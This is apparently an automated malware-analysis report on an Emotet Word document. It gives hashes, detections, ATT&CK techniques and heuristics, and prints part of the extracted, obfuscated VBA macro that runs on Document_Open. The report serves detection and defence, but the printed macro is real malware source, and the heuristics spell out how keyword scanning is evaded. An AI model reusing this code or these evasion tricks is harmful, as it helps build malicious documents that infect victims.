Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 adc96e8b0fdb5d97…

MALICIOUS

Office (OLE)

166.0 KB Created: 2019-12-11 22:08:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: d9d83b1cf238f240be2e43e353623b3f SHA-1: e81033f759f200f8e7bbb46d60aab7a190ed3f12 SHA-256: adc96e8b0fdb5d977111b124c655a1821d5c9c0810207aaa82ccb5bacc0c6698
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with a Document_Open auto-execution routine. Critical heuristics indicate the use of WMI (Win32_Process.Create) via CreateObject, with obfuscation techniques used to hide the 'winmgmts' keyword. ClamAV identifies the file as Emotet, a known downloader family. The script's intent is to execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7446804-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7446804-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7751 bytes
SHA-256: f019476c43fce1d9bfac4bb60b6ea09340daeb8233fb00643359b38bcc18a638
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hhtzxcotuvp"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Qsngcnoh, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Hpjpjderxl = Zbjkaoalxmibm To 0
         Ydlrhadnfqr = (13 - Atn(51) - (44 + Round(41) * Ermublrugltlc / CInt(1)))
    Select Case Uhhdtmfnlt
      Case Woetjcbhgzoaa
         Sssgflqsxinrm = CLng(Aaznvgbr)
         Ahguthdwqn = Oct(Nwnfvglvlpib)
      Case Amcpqbixedj
         Akvvljhn = Plvgoxlyevghq
         Wtkqsjvx = Int(29)
   End Select
Next
   For Nqghkkdsnelrt = Kfugphyyzw To 0
         Xyogavcu = (13 - Atn(51) - (44 + Round(41) * Temoxpvgchj / CInt(1)))
    Select Case Lqkeoprhlki
      Case Zykvqzwwlqtb
         Dttrtnkdpq = CLng(Fuhitehdpxw)
         Jnrzarcefon = Oct(Ptjwitdcucoc)
      Case Tgtgwmajatd
         Ojzftqapottoc = Pkcxdcjxmhq
         Fsqtsuptvwvl = Int(29)
   End Select
Next
   For Nokellom = Mvamujbmlapr To 0
         Jhhqolms = (13 - Atn(51) - (44 + Round(41) * Lhcqhonxk / CInt(1)))
    Select Case Fanownpms
      Case Lhuedxyzgteta
         Lfwmshrue = CLng(Crxwgytqvvvc)
         Ykfoahnbqbk = Oct(Voumqyjvh)
      Case Ngzkrkqcmw
         Lfeygbbwlrtyb = Eeburjvbti
         Fkhdicsjgl = Int(29)
   End Select
Next
Afamdvydg
End Sub

Attribute VB_Name = "Xhtftgolz"
Attribute VB_Base = "0{BB66C8EA-F3D1-4A9B-8FF0-18142FB21F7E}{16D10A0C-ACEA-4506-91E9-ED26D5F527D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Gsppvhmpizbbx"
Function Qkujkfwlkle()
   For Eikxrnuwdvdyz = Zxblcxdctwffq To 0
         Kwafxaoft = (13 - Atn(51) - (44 + Round(41) * Lzjwzzbxndoxp / CInt(1)))
    Select Case Grblherx
      Case Yuuvlshfd
         Swxfetrc = CLng(Kfwtwehxvucyq)
         Gbclhrmnw = Oct(Efdlauphopxb)
      Case Ahirbugwaxr
         Ohyrzgbabuj = Iimqiznxh
         Wvsohfgt = Int(29)
   End Select
Next
Wwsnbaatupi = Hhtzxcotuvp.Qsngcnoh
   For Vbguvbwoxtn = Ppwyqgwx To 0
         Cdjcnojbub = (13 - Atn(51) - (44 + Round(41) * Tahxbdtrw / CInt(1)))
    Select Case Ncoqcrseq
      Case Eqmyjznstfr
         Vrsetdsqmwvay = CLng(Jcxsvdwql)
         Uddxbvurulyn = Oct(Sysuqykagi)
      Case Zmszahczj
         Ovzfhevkon = Fewuejuw
         Sviyvkrlk = Int(29)
   End Select
Next
Nxeizdgagvvjx = Wwsnbaatupi + Xhtftgolz.Dtwenodap + Xhtftgolz.Yifppluhxozq + Xhtftgolz.Fnlnlstmgqih
   For Onhnqygaq = Kkqceksrgy To 0
         Mxcyprkz = (13 - Atn(51) - (44 + Round(41) * Wrmldsvn / CInt(1)))
    Select Case Vvgxeczsegcf
      Case Vqnarifqpg
         Qtgzvtrdiqqfu = CLng(Svrbqzbpnevw)
         Efzjfmflek = Oct(Oceahfeqnvy)
      Case Aoetvawtrdlqv
         Mgqgrckz = Wprhzjgune
         Sjjmuwzt = Int(29)
   End Select
Next
Ikuescofopjcs = Nxeizdgagvvjx + Xhtftgolz.Btzrtwmm + Xhtftgolz.Sucjrhbi.ControlTipText
   For Pppuucbwxxa = Bqgtnibityio To 0
         Kwoqyfrzx = (13 - Atn(51) - (44 + Round(41) * Grqaylkswa / CInt(1)))
    Select Case Rdaxgwqhg
      Case Rajhcdbcsrihq
         Vnxvwfyox = CLng(Hldhheevzzpei)
         Xtqiwjnxbdjk = Oct(Smluevqzlke)
      Case Lifjphchfyop
         Nbextzehndjd = Yhfeuocp
         Tddjmnxeqbcx = Int(29)
   End Select
Next
Qkujkfwlkle = Olwcoqohqlv + Ikuescofopjcs + Olwcoqohqlv
   For Vfetvviyick = Coyvyirjrq To 0
         Dppyegmrqzeq = (13 - Atn(51) - (44 + Round(41) * Dpxavprwzfgrr / CInt(1)))
    Select Case Heojxsgtae
      Case Isckhrzecmrvg
         Qjsmoygiu = CLng(Ghxwwvyri)
         Uyasjivnsctkq = Oct(Rizbjiuzk)
      Case Gpvxpvdtp
         Vpynhwenwh = Eqrhuozypzc
         Svnxhwtof = Int(29)
   End Select
Next
End Function
Function Afamdvydg()
   For Qtogonlwj = Akxpifhlb To 0
         Aqdfyntowk
... (truncated)

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